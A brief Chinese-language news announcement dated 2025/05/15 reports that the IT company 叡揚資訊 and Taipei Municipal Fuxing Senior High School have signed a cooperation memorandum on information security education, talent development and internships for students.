叡揚資訊股份有限公司與臺北市立復興高級中學於近日正式簽署產學合作備忘錄,雙方將在資訊安全教育、人才培育及實習計劃等方面展開全面合作。此舉不僅能為學生提供多元化的學習體驗,更能有效提升學生未來升學及就業所需的專業技能。
2025/05/15